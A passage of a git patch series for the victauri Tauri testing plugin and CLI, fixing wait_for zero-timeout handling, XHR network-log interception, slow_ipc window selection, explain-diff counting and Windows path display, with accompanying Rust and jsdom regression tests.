assert_eq!(integrity.total_calls, 10_000); + assert_eq!(integrity.errored, 5_000); + assert_eq!(integrity.error_calls.len(), PAGE_INTEGRITY_MAX_ENTRIES); + assert_eq!( + integrity.error_calls.last().map(|c| c.id.as_str()), + Some("c9999"), + "the newest entries are kept" + ); + + let ghosts = page_ghost_report(&state); + assert_eq!(ghosts.frontend_only.len(), 20); + } + /// Tauri runs an `async` command on a tokio worker and extracts/drops its arguments and its /// resolver (which holds a `Webview`) there; on Linux every Tauri handle carries a non-atomic /// `Rc`, and doing that for the eval callback on every eval corrupted the host heap (0.9.0). From cac5ec2774ee80c1d63220d73f3ff7fbbbb208b1 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:22:14 +1000 Subject: [PATCH 137/167] fix(tools): wait_for `timeout_ms: 0` is a single immediate check (R5B-WAIT0) The page's waitFor read 0 as its 10 s default while the server waited only 5 s for it, so the call failed as a misleading "eval timed out". 0 now means: check once, now, and return (`ok:false` if not met). The page also checks the condition before the deadline test (the last check lands at the deadline instead of being skipped by it) and never sleeps past the deadline when poll_ms exceeds the remaining time. Documented on `timeout_ms`. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/js_bridge.rs | 18 +-- .../victauri-plugin/src/mcp/other_params.rs | 3 +- .../src/mcp/tool_result_tests.rs | 79 ++++++++++++ .../victauri-plugin/tests/bridge_r5b_tests.rs | 121 ++++++++++++++++++ 4 files changed, 211 insertions(+), 10 deletions(-) create mode 100644 crates/victauri-plugin/tests/bridge_r5b_tests.rs diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index e2b6cf4c..215eb427 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -1413,17 +1413,12 @@ const INIT_SCRIPT_BODY: &str = r#" waitFor: function(opts) { return new Promise(function(resolve) { - var timeout = opts.timeout_ms || 10000; + // 0 is a real timeout (a single immediate check), not "use the default". + var timeout = typeof opts.timeout_ms === 'number' && opts.timeout_ms >= 0 ? opts.timeout_ms : 10000; var poll = opts.poll_ms || 200; var start = Date.now(); function check() { - var elapsed = Date.now() - start; - if (elapsed >= timeout) { - resolve({ ok: false, error: 'timeout after ' + timeout + 'ms', elapsed_ms: elapsed }); - return; - } - function getFullText(root) { // ShadowRoot has no innerText — fall back to textContent. var text = (typeof root.innerText === 'string' ? root.innerText : root.textContent) || ''; @@ -1450,10 +1445,15 @@ const INIT_SCRIPT_BODY: &str = r#" met = networkLog.every(function(n) { return n.status !== 'pending'; }); } + // The condition is checked BEFORE the deadline test, so the last check lands + // at the deadline itself, and never sleeps past it. + var elapsed = Date.now() - start; if (met) { - resolve({ ok: true, elapsed_ms: Date.now() - start }); + resolve({ ok: true, elapsed_ms: elapsed }); + } else if (elapsed >= timeout) { + resolve({ ok: false, error: 'timeout after ' + timeout + 'ms', elapsed_ms: elapsed }); } else { - setTimeout(check, poll); + setTimeout(check, Math.min(poll, timeout - elapsed)); } } check(); diff --git a/crates/victauri-plugin/src/mcp/other_params.rs b/crates/victauri-plugin/src/mcp/other_params.rs index 04361187..607cfa9a 100644 --- a/crates/victauri-plugin/src/mcp/other_params.rs +++ b/crates/victauri-plugin/src/mcp/other_params.rs @@ -108,7 +108,8 @@ pub struct WaitForParams { /// fine, and one that does not parse fails at once instead of polling to the timeout), /// or Tauri event name (for `event`). pub value: Option, - /// Maximum time to wait in milliseconds. Default: 10000. + /// Maximum time to wait in milliseconds. Default: 10000; capped at 120000. `0` checks the + /// condition exactly once, immediately, and returns (`ok: false` if it is not met yet). pub timeout_ms: Option, /// Polling interval in milliseconds. Default: 200. pub poll_ms: Option, diff --git a/crates/victauri-plugin/src/mcp/tool_result_tests.rs b/crates/victauri-plugin/src/mcp/tool_result_tests.rs index 32b7a7d4..1dfcf425 100644 --- a/crates/victauri-plugin/src/mcp/tool_result_tests.rs +++ b/crates/victauri-plugin/src/mcp/tool_result_tests.rs @@ -333,3 +333,82 @@ async fn verify_state_treats_undefined_as_null() { assert_eq!(r["passed"], false, "{r}"); assert_eq!(r["frontend_state"], json!(null), "{r}"); } + +// ── R5B-WAIT0: `timeout_ms: 0` is a single immediate check ───────────────────────────────── + +/// The server-side conditions check exactly once with `timeout_ms: 0` (the page-side ones are +/// covered by `tests/bridge_r5b_tests.rs`), and the page-side wait is given time to answer. +#[tokio::test] +async fn wait_for_with_a_zero_timeout_checks_once() { + let state = state(); + let bridge = ScriptBridge::new( + &state, + Arc::new(|_, script: &str| { + Some(if script.contains("waitFor(") { + json!({"__victauri_ok": {"ok": false, "error": "timeout after 0ms"}, + "__victauri_type": "value"}) + .to_string() + } else { + json!({"__victauri_ok": script.contains("isReady"), "__victauri_type": "value"}) + .to_string() + }) + }), + ); + let h = handler(&state, &bridge); + let started = Instant::now(); + let met = ok_json( + &call( + &h, + "wait_for", + json!({"condition": "expression", "value": "isReady", "timeout_ms": 0}), + ) + .await, + ); + assert_eq!(met["ok"], true, "{met}"); + let unmet = ok_json( + &call( + &h, + "wait_for", + json!({"condition": "expression", "value": "notYet", "timeout_ms": 0}), + ) + .await, + ); + assert_eq!(unmet["ok"], false, "{unmet}"); + assert_eq!( + bridge.labels_of("notYet").len(), + 1, + "must check exactly once" + ); + let event = ok_json( + &call( + &h, + "wait_for", + json!({"condition": "event", "value": "never", "timeout_ms": 0}), + ) + .await, + ); + assert_eq!(event["ok"], false, "{event}"); + let page = ok_json( + &call( + &h, + "wait_for", + json!({"condition": "selector", "value": "#x", "timeout_ms": 0}), + ) + .await, + ); + assert_eq!(page["ok"], false, "{page}"); + assert!( + bridge + .evals + .lock() + .unwrap() + .iter() + .any(|(_, s)| s.contains("timeout_ms: 0,")), + "the page must be told 0, not a default" + ); + assert!( + started.elapsed() < Duration::from_secs(3), + "{:?}", + started.elapsed() + ); +} diff --git a/crates/victauri-plugin/tests/bridge_r5b_tests.rs b/crates/victauri-plugin/tests/bridge_r5b_tests.rs new file mode 100644 index 00000000..a0371f71 --- /dev/null +++ b/crates/victauri-plugin/tests/bridge_r5b_tests.rs @@ -0,0 +1,121 @@ +//! Round-5 (tools lane) regressions for the injected JS bridge (jsdom via Node.js). +//! +//! Same harness as `bridge_tests.rs` (`tests/bridge_tests/run_tests.js`). Set +//! `VICTAURI_REQUIRE_JSDOM=1` (CI sets `CI`) so a missing jsdom fails instead of skipping. + +use serde::{Deserialize, Serialize}; +use std::io::Write; +use std::path::PathBuf; +use std::process::Command; + +use victauri_plugin::js_bridge::{BridgeCapacities, init_script}; + +#[derive(Serialize)] +struct TestDef { + bridge_script: String, + setup_html: String, + tests: Vec, +} + +#[derive(Serialize)] +struct TestCase { + name: String, + code: String, +} + +#[derive(Deserialize, Debug)] +struct TestResult { + name: String, + passed: bool, + result: Option, + error: Option, +} + +fn runner_dir() -> PathBuf { + PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join("tests") + .join("bridge_tests") +} + +fn run_tests(tests: Vec) -> Option> { + if !runner_dir().join("node_modules").join("jsdom").exists() { + assert!( + std::env::var_os("CI").is_none() + && std::env::var_os("VICTAURI_REQUIRE_JSDOM").is_none(), + "jsdom is not installed, so the JS bridge tests cannot run: \ + `npm ci` in crates/victauri-plugin/tests/bridge_tests/" + ); + eprintln!("SKIP: jsdom not installed (run `npm ci` in tests/bridge_tests/)"); + return None; + } + let def = TestDef { + bridge_script: init_script(&BridgeCapacities::default()), + setup_html: r#"R5B
    "# + .to_string(), + tests, + }; + let mut tmp = tempfile::NamedTempFile::new().expect("create temp file"); + tmp.write_all(serde_json::to_string(&def).unwrap().as_bytes()) + .expect("write test def"); + tmp.flush().expect("flush temp file"); + let output = Command::new("node") + .arg(runner_dir().join("run_tests.js")) + .arg(tmp.path()) + .output() + .expect("failed to run node"); + let stdout = String::from_utf8_lossy(&output.stdout); + let stderr = String::from_utf8_lossy(&output.stderr); + let line = stdout + .lines() + .find(|l| l.starts_with("VICTAURI_RESULTS:")) + .unwrap_or_else(|| panic!("No VICTAURI_RESULTS line.\nstdout: {stdout}\nstderr: {stderr}")); + let results: Vec = serde_json::from_str(&line["VICTAURI_RESULTS:".len()..]) + .unwrap_or_else(|e| panic!("bad results JSON: {e}\nraw: {line}")); + let failures: Vec = results + .iter() + .filter(|r| !r.passed) + .map(|r| format!(" FAIL: {} => {:?}", r.name, r.error)) + .collect(); + assert!( + failures.is_empty(), + "Test failures:\n{}", + failures.join("\n") + ); + Some(results) +} + +fn case(name: &str, code: &str) -> TestCase { + TestCase { + name: name.into(), + code: code.into(), + } +} + +/// R5B-WAIT0: `timeout_ms: 0` used to be read as the 10 s default by the page (the server +/// waited only 5 s for it, so the call failed as a misleading "eval timed out"). 0 now means a +/// single immediate check: met → ok, not met → a prompt `ok:false`. +#[test] +fn wait_for_with_a_zero_timeout_checks_once() { + let Some(results) = run_tests(vec![case( + "waitFor timeout_ms 0", + r" + var V = window.__VICTAURI__; + var t0 = Date.now(); + var met = await V.waitFor({ condition: 'selector', value: '#app', timeout_ms: 0, poll_ms: 200 }); + var unmet = await V.waitFor({ condition: 'selector', value: '#nope', timeout_ms: 0, poll_ms: 200 }); + // The condition is also checked once more AT the deadline, not skipped by it. + setTimeout(function() { + var d = document.createElement('p'); d.id = 'late'; document.body.appendChild(d); + }, 60); + var late = await V.waitFor({ condition: 'selector', value: '#late', timeout_ms: 100, poll_ms: 5000 }); + return { met: met, unmet: unmet, late: late, took: Date.now() - t0 }; + ", + )]) else { + return; + }; + let r = results[0].result.clone().unwrap_or_default(); + assert_eq!(r["met"]["ok"], true, "{r}"); + assert_eq!(r["unmet"]["ok"], false, "{r}"); + assert!(r["took"].as_u64().unwrap() < 2_000, "{r}"); + assert_eq!(r["late"]["ok"], true, "{r}"); +} From d0a8750198509ac19791d45e2d47256222ff8d9d Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:23:32 +1000 Subject: [PATCH 138/167] fix(tools): `logs slow_ipc` honours `webview_label` (R5B-SLOWIPC1) slow_ipc always read the default window's IPC log, ignoring the webview_label every other logs action honours. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/mcp/mod.rs | 3 +- .../src/mcp/tool_result_tests.rs | 28 +++++++++++++++++++ 2 files changed, 30 insertions(+), 1 deletion(-) diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 371c2a4c..84d9c0ec 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -3316,7 +3316,8 @@ impl VictauriMcpHandler { }; let limit = params.limit.unwrap_or(20); let code = slow_ipc_js(threshold, limit); - self.eval_bridge(&code, None).await + self.eval_bridge(&code, params.webview_label.as_deref()) + .await } LogsAction::Clear => { // Clearing the IPC/network logs erases captured evidence — a diff --git a/crates/victauri-plugin/src/mcp/tool_result_tests.rs b/crates/victauri-plugin/src/mcp/tool_result_tests.rs index 1dfcf425..98c79e58 100644 --- a/crates/victauri-plugin/src/mcp/tool_result_tests.rs +++ b/crates/victauri-plugin/src/mcp/tool_result_tests.rs @@ -412,3 +412,31 @@ async fn wait_for_with_a_zero_timeout_checks_once() { started.elapsed() ); } + +// ── R5B-SLOWIPC1: `logs slow_ipc` reads the window it is asked about ─────────────────────── + +#[tokio::test] +async fn logs_slow_ipc_honours_webview_label() { + let state = state(); + let bridge = ScriptBridge::answering( + &state, + &json!({"__victauri_ok": {"threshold_ms": 10, "count": 0, "calls": []}, + "__victauri_type": "value"}) + .to_string(), + ); + let h = handler(&state, &bridge); + let r = ok_json( + &call( + &h, + "logs", + json!({"action": "slow_ipc", "threshold_ms": 10, "webview_label": "popup"}), + ) + .await, + ); + assert_eq!(r["count"], 0, "{r}"); + assert_eq!( + bridge.labels_of("duration_ms || 0) > 10"), + vec![Some("popup".to_string())], + "slow_ipc read the wrong window" + ); +} From 33073ebd22aab1f0fe6aeef892e0bc81b3a71620 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:25:13 +1000 Subject: [PATCH 139/167] fix(bridge): one log entry per XHR request, listeners attached once (R5B-XHR1) send() attached five fresh listeners to the XHR on every call, each closing over that send's log entry, so a reused XHR (open/send again on the same object) piled up listeners and every later request rewrote the status and duration of the earlier entries. A re-open() while a request was in flight (which terminates it without any event) left its entry 'pending' forever, wedging network_idle, and a route-delayed send then fired into the next request. A route-blocked XHR fired `error` but never `loadend`. Per-XHR state (WeakMap) now holds the opened {method,url} and the entry of the request in flight; the bridge's listeners are attached once (through the addEventListener captured at init) and update only the current entry. Each send() gets its own entry, made current before the real send() (sync XHR fires inside it) and dropped again if send() throws. open() closes a pending entry as 'aborted'; a delayed send is skipped if the XHR moved on; a blocked request ends with error + loadend. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/js_bridge.rs | 203 ++++++++++++------ .../victauri-plugin/tests/bridge_r5b_tests.rs | 85 ++++++++ 2 files changed, 217 insertions(+), 71 deletions(-) diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index 3be97412..2be954a8 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -3018,12 +3018,72 @@ const INIT_SCRIPT_BODY: &str = r#" // XMLHttpRequest var origOpen = XMLHttpRequest.prototype.open; var origSend = XMLHttpRequest.prototype.send; - // Per-request {method, url} as `open()` really received them, in a closure WeakMap — - // not an expando on the XHR, which page script could overwrite to forge the entry - // `send()` logs (R4-JS3). The WeakMap methods are captured before page script runs. + var ADD_LISTENER = EventTarget.prototype.addEventListener; + var DISPATCH_EVENT = EventTarget.prototype.dispatchEvent; + // Per-XHR state in a closure WeakMap — not an expando on the XHR, which page script + // could overwrite to forge the entry `send()` logs (R4-JS3): the {method, url} `open()` + // really received, and the log entry of the request currently in flight. The WeakMap + // methods are captured before page script runs. + // + // The bridge's listeners are attached ONCE per XHR and always update the CURRENT entry + // (R5B-XHR1). Attaching them on every send() piled them up on a reused XHR, each closing + // over its own send's entry, so every later request rewrote the earlier entries. var xhrNet = new WeakMap(); var XHR_NET_GET = Function.prototype.call.bind(WeakMap.prototype.get); var XHR_NET_SET = Function.prototype.call.bind(WeakMap.prototype.set); + function xhrState(xhr) { + var st = XHR_NET_GET(xhrNet, xhr); + if (!st) { + st = { net: null, entry: null, hooked: false }; + XHR_NET_SET(xhrNet, xhr, st); + } + return st; + } + function xhrEvent(type) { + return typeof ProgressEvent === 'function' ? new ProgressEvent(type) : new Event(type); + } + function xhrFinish(entry, status) { + entry.status = status; + entry.duration_ms = Date.now() - entry.timestamp; + } + function xhrLog(entry) { + networkLog.push(entry); + if (networkLog.length > CAP_NETWORK) networkLog.shift(); + } + function xhrUnlog(entry) { + for (var i = networkLog.length - 1; i >= 0; i--) { + if (networkLog[i] === entry) { networkLog.splice(i, 1); return; } + } + } + function xhrHook(xhr, st) { + if (st.hooked) return; + st.hooked = true; + var on = function(type, fn) { REFLECT_APPLY(ADD_LISTENER, xhr, [type, fn]); }; + on('load', function() { + var e = st.entry; + if (!e || e.status !== 'pending') return; + e.status_text = xhr.statusText; + xhrFinish(e, xhr.status); + }); + on('error', function() { + var e = st.entry; + if (e && e.status === 'pending') xhrFinish(e, 'error'); + }); + on('abort', function() { + var e = st.entry; + if (e && e.status === 'pending') xhrFinish(e, 'aborted'); + }); + on('timeout', function() { + var e = st.entry; + if (e && e.status === 'pending') xhrFinish(e, 'timeout'); + }); + // Backstop: whatever ended the request, it must not stay 'pending' forever (that + // would wedge wait_for network_idle / ipc_idle). + on('loadend', function() { + var e = st.entry; + if (e && e.status === 'pending') xhrFinish(e, 'error'); + }); + } XMLHttpRequest.prototype.open = function(method, url) { // No early delete: an open() that throws leaves the previous request intact (spec), // and a successful one replaces this entry below. @@ -3037,79 +3097,80 @@ const INIT_SCRIPT_BODY: &str = r#" var args = [m, u]; for (var i = 2; i < arguments.length; i++) args[i] = arguments[i]; var ret = REFLECT_APPLY(origOpen, this, args); - XHR_NET_SET(xhrNet, this, { method: m, url: u }); + var st = xhrState(this); + // open() on a request in flight terminates it without firing any event: close its + // entry here, or it would stay 'pending' forever. + if (st.entry && st.entry.status === 'pending') xhrFinish(st.entry, 'aborted'); + st.entry = null; + st.net = { method: m, url: u }; return ret; }; XMLHttpRequest.prototype.send = function() { - var net = XHR_NET_GET(xhrNet, this); - if (net) { - var isVictauriInternal = isVictauriInternalUrl(net.url); - if (isVictauriInternal) { - return REFLECT_APPLY(origSend, this, arguments); - } - var id = ++networkCounter; - var entry = { - id: id, - method: net.method.toUpperCase(), - url: net.url, - timestamp: Date.now(), - status: 'pending', - duration_ms: null, - }; - networkLog.push(entry); - if (networkLog.length > CAP_NETWORK) networkLog.shift(); - var self = this; - this.addEventListener('load', function() { - entry.status = self.status; - entry.status_text = self.statusText; - entry.duration_ms = Date.now() - entry.timestamp; - }); - this.addEventListener('error', function() { - if (entry.blocked) return; // keep 'blocked' for route-blocked requests - entry.status = 'error'; - entry.duration_ms = Date.now() - entry.timestamp; - }); - this.addEventListener('abort', function() { - entry.status = 'aborted'; - entry.duration_ms = Date.now() - entry.timestamp; - }); - this.addEventListener('timeout', function() { - entry.status = 'timeout'; - entry.duration_ms = Date.now() - entry.timestamp; - }); - // Backstop: whatever ended the request, it must not stay 'pending' - // forever (that would wedge wait_for network_idle / ipc_idle). - this.addEventListener('loadend', function() { - if (entry.status === 'pending') { - entry.status = 'error'; - entry.duration_ms = Date.now() - entry.timestamp; - } - }); - - // Phase 1 routing for XHR: block + delay are supported here. - // `fulfill` (synthetic response) is fetch-only — faking the full - // XHR response surface is unreliable; document as a limitation. - var xroute = matchRoute(net.url, net.method); - if (xroute) { - recordRouteMatch(xroute, net.url, net.method); - if (xroute.action === 'block') { - entry.status = 'blocked'; - entry.blocked = true; - entry.duration_ms = Date.now() - entry.timestamp; - var blockedXhr = this; - setTimeout(function() { - try { blockedXhr.dispatchEvent(new Event('error')); } catch (e) {} - }, 0); - return; // do not send - } - if ((xroute.action === 'delay' || xroute.action === 'fulfill') && xroute.delay_ms > 0) { - var dArgs = arguments, dSelf = this; - setTimeout(function() { REFLECT_APPLY(origSend, dSelf, dArgs); }, xroute.delay_ms); - return; - } + var st = XHR_NET_GET(xhrNet, this); + var net = st && st.net; + if (!net || isVictauriInternalUrl(net.url)) { + return REFLECT_APPLY(origSend, this, arguments); + } + // Each send() is its own request with its own log entry. + var entry = { + id: ++networkCounter, + method: net.method.toUpperCase(), + url: net.url, + timestamp: Date.now(), + status: 'pending', + duration_ms: null, + }; + xhrHook(this, st); + var self = this; + + // Phase 1 routing for XHR: block + delay are supported here. + // `fulfill` (synthetic response) is fetch-only — faking the full + // XHR response surface is unreliable; document as a limitation. + var xroute = matchRoute(net.url, net.method); + if (xroute) { + recordRouteMatch(xroute, net.url, net.method); + if (xroute.action === 'block') { + st.entry = entry; + entry.blocked = true; + xhrFinish(entry, 'blocked'); + xhrLog(entry); + // End it like a network failure — `error`, then `loadend` — unless the app + // has moved this XHR on to another request meanwhile. + SET_TIMEOUT(function() { + if (st.entry !== entry) return; + try { + REFLECT_APPLY(DISPATCH_EVENT, self, [xhrEvent('error')]); + REFLECT_APPLY(DISPATCH_EVENT, self, [xhrEvent('loadend')]); + } catch (e) {} + }, 0); + return; // do not send + } + if ((xroute.action === 'delay' || xroute.action === 'fulfill') && xroute.delay_ms > 0) { + st.entry = entry; + xhrLog(entry); + var dArgs = arguments; + SET_TIMEOUT(function() { + // Re-opened meanwhile: this request no longer exists. + if (st.entry !== entry || entry.status !== 'pending') return; + try { REFLECT_APPLY(origSend, self, dArgs); } + catch (e) { entry.error = String(e); xhrFinish(entry, 'error'); } + }, xroute.delay_ms); + return; } } - return REFLECT_APPLY(origSend, this, arguments); + // The entry is current BEFORE the real send(): a synchronous XHR fires its events + // inside send(). A send() that throws (not opened, already sent) starts no request: + // its entry is dropped and the request still in flight stays current. + var previous = st.entry; + st.entry = entry; + xhrLog(entry); + try { + return REFLECT_APPLY(origSend, this, arguments); + } catch (e) { + if (st.entry === entry) st.entry = previous; + xhrUnlog(entry); + throw e; + } }; })(); diff --git a/crates/victauri-plugin/tests/bridge_r5b_tests.rs b/crates/victauri-plugin/tests/bridge_r5b_tests.rs index b314b378..14e0eb27 100644 --- a/crates/victauri-plugin/tests/bridge_r5b_tests.rs +++ b/crates/victauri-plugin/tests/bridge_r5b_tests.rs @@ -364,3 +364,88 @@ fn r5b_routeurl1_rules_match_relative_and_absolute_forms() { assert_eq!(r["other"], serde_json::json!([false, false]), "{r}"); assert_eq!(r["xhr"], serde_json::json!([true, true]), "{r}"); } + +// ── R5B-XHR1: a reused XHR gets one log entry per request, listeners once ──── + +/// `send()` attached five fresh listeners to the XHR every time, each closing over THAT send's +/// log entry, so a reused XHR (open/send again on the same object) piled up listeners and every +/// later request rewrote the earlier entries' status and duration. A re-`open()` while a +/// request was in flight left its entry 'pending' forever (wedging network_idle), and a +/// delayed send then fired into the next request. A blocked XHR never fired `loadend`. +#[test] +fn r5b_xhr1_reused_xhr_keeps_one_entry_per_request() { + let def = def( + None, + vec![case( + "three requests on one XHR, a re-open mid-flight, a blocked request", + r" + var V = window.__VICTAURI__; + function sleep(ms) { return new Promise(function(r) { setTimeout(r, ms); }); } + function loadend(x, ms) { + return new Promise(function(r) { + x.addEventListener('loadend', function() { r(true); }, { once: true }); + setTimeout(function() { r(false); }, ms || 2000); + }); + } + var x = new XMLHttpRequest(); + x.open('GET', '/r5b/one'); var p = loadend(x); x.send(); await p; + var first = V.getNetworkLog('/r5b/', 10)[0]; + await sleep(80); + x.open('GET', '/r5b/two'); p = loadend(x); x.send(); await p; + await sleep(80); + x.open('GET', '/r5b/three'); p = loadend(x); x.send(); await p; + var log = V.getNetworkLog('/r5b/', 10); + + // Re-open while a (route-delayed) request is still pending. + V.addRoute({ pattern: '/r5c/slow', action: 'delay', delay_ms: 150 }); + var y = new XMLHttpRequest(); + y.open('GET', '/r5c/slow'); y.send(); + y.open('GET', '/r5c/after'); p = loadend(y); y.send(); await p; + await sleep(300); + var log2 = V.getNetworkLog('/r5c/', 10); + + // A blocked request ends like a failed one: error, then loadend. + V.addRoute({ pattern: '/r5d/blocked', action: 'block' }); + var z = new XMLHttpRequest(); + var events = []; + z.addEventListener('error', function() { events.push('error'); }); + z.open('GET', '/r5d/blocked'); p = loadend(z, 500); z.send(); + var ended = await p; + + return { + urls: log.map(function(e) { return e.url; }), + ids_distinct: new Set(log.map(function(e) { return e.id; })).size, + first_status: first.status, first_duration: first.duration_ms, + first_after: { status: log[0].status, duration: log[0].duration_ms }, + pending: log.filter(function(e) { return e.status === 'pending'; }).length, + reopen: log2.map(function(e) { return e.url + '=' + e.status; }), + blocked_loadend: ended, blocked_events: events, + }; + ", + )], + ); + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = result(&results, 0); + assert_eq!( + r["urls"], + serde_json::json!(["/r5b/one", "/r5b/two", "/r5b/three"]), + "{r}" + ); + assert_eq!(r["ids_distinct"], 3, "{r}"); + assert_eq!(r["pending"], 0, "{r}"); + assert_eq!( + r["first_after"]["duration"], r["first_duration"], + "a later request on the same XHR rewrote the first entry: {r}" + ); + assert_eq!(r["first_after"]["status"], r["first_status"], "{r}"); + assert_eq!( + r["reopen"], + serde_json::json!(["/r5c/slow=aborted", "/r5c/after=error"]), + "{r}" + ); + assert_eq!(r["blocked_loadend"], true, "{r}"); + assert_eq!(r["blocked_events"], serde_json::json!(["error"]), "{r}"); +} From a5235606de2adc51661d4f3575ed193722c94873 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:26:05 +1000 Subject: [PATCH 140/167] fix(tools): `explain diff` counts every call and lists each command once (R5B-EXPLAIN1) A consecutive-only `dedup()` ran before both fields were computed: `ipc_calls_made` undercounted repeated calls and `unique_commands` still listed a command once per non-adjacent run when calls interleaved. `ipc_calls_made` is now the call count; `unique_commands` is a true unique set in first-call order. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/mcp/mod.rs | 9 ++++-- .../src/mcp/tool_result_tests.rs | 28 +++++++++++++++++++ 2 files changed, 35 insertions(+), 2 deletions(-) diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 84d9c0ec..d1144221 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -4269,13 +4269,18 @@ impl VictauriMcpHandler { } } - ipc_commands.dedup(); + // Every call counts; each command is listed once, in first-call order (a + // consecutive-only `dedup` used to undercount the calls and still list a + // command once per non-adjacent run). + let ipc_calls_made = ipc_commands.len(); + let mut seen = HashSet::new(); + ipc_commands.retain(|c| seen.insert(c.clone())); let result = serde_json::json!({ "since": since.to_rfc3339_opts(chrono::SecondsFormat::Secs, true), "time_window_secs": secs, "total_events": events.len(), - "ipc_calls_made": ipc_commands.len(), + "ipc_calls_made": ipc_calls_made, "unique_commands": ipc_commands, "dom_elements_changed": dom_changes, "interactions": interaction_count, diff --git a/crates/victauri-plugin/src/mcp/tool_result_tests.rs b/crates/victauri-plugin/src/mcp/tool_result_tests.rs index 98c79e58..e09eee6e 100644 --- a/crates/victauri-plugin/src/mcp/tool_result_tests.rs +++ b/crates/victauri-plugin/src/mcp/tool_result_tests.rs @@ -440,3 +440,31 @@ async fn logs_slow_ipc_honours_webview_label() { "slow_ipc read the wrong window" ); } + +// ── R5B-EXPLAIN1: `explain diff` counts calls and lists each command once ────────────────── + +#[tokio::test] +async fn explain_diff_counts_calls_and_lists_unique_commands() { + use victauri_core::{AppEvent, IpcCall, IpcResult}; + let state = state(); + state.recorder.start("s-1".to_string()).unwrap(); + for (i, cmd) in ["zeta", "zeta", "alpha", "zeta", "mid", "alpha", "zeta"] + .iter() + .enumerate() + { + state.event_log.push(AppEvent::Ipc(IpcCall::new( + format!("c-{i}"), + (*cmd).to_string(), + chrono::Utc::now(), + IpcResult::Ok(json!(true)), + Some(1), + 0, + "main".to_string(), + ))); + } + let bridge = ScriptBridge::answering(&state, "null"); + let h = handler(&state, &bridge); + let r = ok_json(&call(&h, "explain", json!({"action": "diff", "seconds": 60})).await); + assert_eq!(r["ipc_calls_made"], 7, "{r}"); + assert_eq!(r["unique_commands"], json!(["zeta", "alpha", "mid"]), "{r}"); +} From 7e17e989b2665ad9f15097bbddd0aa4a2b108382 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:12:50 +1000 Subject: [PATCH 141/167] fix(cli): init prints paths without the Windows verbatim prefix (R5B-INIT1) `init` canonicalizes the project root, which on Windows yields `\?\C:\...` verbatim paths, and printed them that way ("no Tauri dependency detected in \?\C:\..."). A display_path helper drops the verbatim prefix dunce-style (`\?\C:\` -> `C:\`, `\?\UNC\srv\share` -> `\srv\share`; other verbatim forms are kept) and escapes control characters; every user-facing path the CLI prints goes through it. No new dependency. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-cli/src/main.rs | 132 +++++++++++++++++---------- crates/victauri-cli/tests/cli_e2e.rs | 35 +++++++ 2 files changed, 118 insertions(+), 49 deletions(-) diff --git a/crates/victauri-cli/src/main.rs b/crates/victauri-cli/src/main.rs index 3a970e20..d812d796 100644 --- a/crates/victauri-cli/src/main.rs +++ b/crates/victauri-cli/src/main.rs @@ -205,14 +205,14 @@ async fn main() -> Result<()> { fn cmd_init(root: &Path) -> Result<()> { let root = std::fs::canonicalize(root) - .with_context(|| format!("directory not found: {}", root.display()))?; + .with_context(|| format!("directory not found: {}", display_path(root)))?; let (cargo_toml_path, is_tauri) = detect_project(&root)?; if !is_tauri { eprintln!( "Warning: no Tauri dependency detected in {}", - cargo_toml_path.display() + display_path(&cargo_toml_path) ); eprintln!(" Victauri is designed for Tauri apps — tests may not connect.\n"); } @@ -262,7 +262,8 @@ fn cmd_init(root: &Path) -> Result<()> { eprintln!(" Add this to your mcpServers (the bridge auto-discovers the port —"); eprintln!(" prefer it over a fixed url so agents never bind the wrong app):\n"); eprintln!( - " \"victauri\": {{ \"command\": \"victauri\", \"args\": [\"bridge\"] }}\n" + " \"victauri\": {{ \"command\": \"victauri\", \"args\": [\"bridge\"] }} +" ); } } else { @@ -288,7 +289,7 @@ fn cmd_init(root: &Path) -> Result<()> { eprintln!(" [=] capabilities/victauri.json already exists"); } else { std::fs::create_dir_all(&caps_dir) - .with_context(|| format!("failed to create {}", caps_dir.display()))?; + .with_context(|| format!("failed to create {}", display_path(&caps_dir)))?; write_new_file(&cap_path, generate_capability_json())?; eprintln!(" [+] Created capabilities/victauri.json"); } @@ -322,7 +323,7 @@ fn cmd_init(root: &Path) -> Result<()> { let tests_dir = find_src_tauri(&root).map_or_else(|| root.join("tests"), |p| p.join("tests")); ensure_inside_project(&root, &tests_dir.join("smoke.rs"))?; std::fs::create_dir_all(&tests_dir) - .with_context(|| format!("failed to create {}", tests_dir.display()))?; + .with_context(|| format!("failed to create {}", display_path(&tests_dir)))?; let smoke_path = tests_dir.join("smoke.rs"); if smoke_path.exists() { @@ -353,7 +354,7 @@ fn cmd_init(root: &Path) -> Result<()> { eprintln!(" [=] 